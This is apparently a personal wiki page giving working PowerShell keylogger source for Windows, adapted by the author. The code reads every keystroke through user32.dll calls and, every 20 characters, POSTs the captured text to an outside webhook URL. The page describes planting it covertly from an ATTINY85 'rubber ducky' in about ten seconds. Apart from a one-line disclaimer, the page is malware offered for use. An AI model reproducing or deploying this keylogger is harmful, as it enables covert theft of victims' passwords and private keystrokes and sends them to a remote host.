search

Keylogger

hashtag
Windows

The following are code that I have modified from this websitearrow-up-right to fit my needs. I have made the Powershell script to use the keylogger code, but then send the code to a webhook.site website. This is meant to be used with a rubber ducky that way you can plug it in, and in 10 seconds be out of there with the keylogger up and running. The rubber ducky I will be using is a ATTINY85 Micro-controller. Using the Arduino IDE you can flash the code onto the micro-controller.

Keylogger that sends the text to a web-hook after the user has typed 20 characters:

function Test-KeyLogger 
{
  $APIsignatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
 $API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru
  try
  {
    Write-Host 'Keylogger started. Press CTRL+C to see results...' -ForegroundColor Red
    $number = 0
    while ($true) {
      Start-Sleep -Milliseconds 40            
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        $keystate = $API::GetAsyncKeyState($ascii)
        if ($keystate -eq -32767) {
          $null = [console]::CapsLock
          $virtualKey = $API::MapVirtualKey($ascii, 3)
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)
          $loggedchar = New-Object -TypeName System.Text.StringBuilder    
          if ($API::ToUnicode($ascii, $virtualKey, $kbstate, $loggedchar, $loggedchar.Capacity, 0)) 
          {
            $number++
            $testing = "$testing" + "$loggedchar"
            if ($number -eq 20){
                $number = 0
                $postParams = @{username='me';moredata=$testing}
                $URL = "<Enter Webhook Here"
                Invoke-WebRequest -UseBasicParsing $URL -ContentType "application/json" -Method POST -Body "$testing"
                $testing = ""
            }
          }
        }
      }
    }
  }
  finally
  {    
    Start-Sleep -Seconds 1
  }
}

Test-KeyLogger

I do not endorse using this illegally or unethically. If you were to use this ethically, along with a ATTINY85 Rubber Ducky, this would be the .ino code for it:

hashtag
Sources I used for research:

Last updated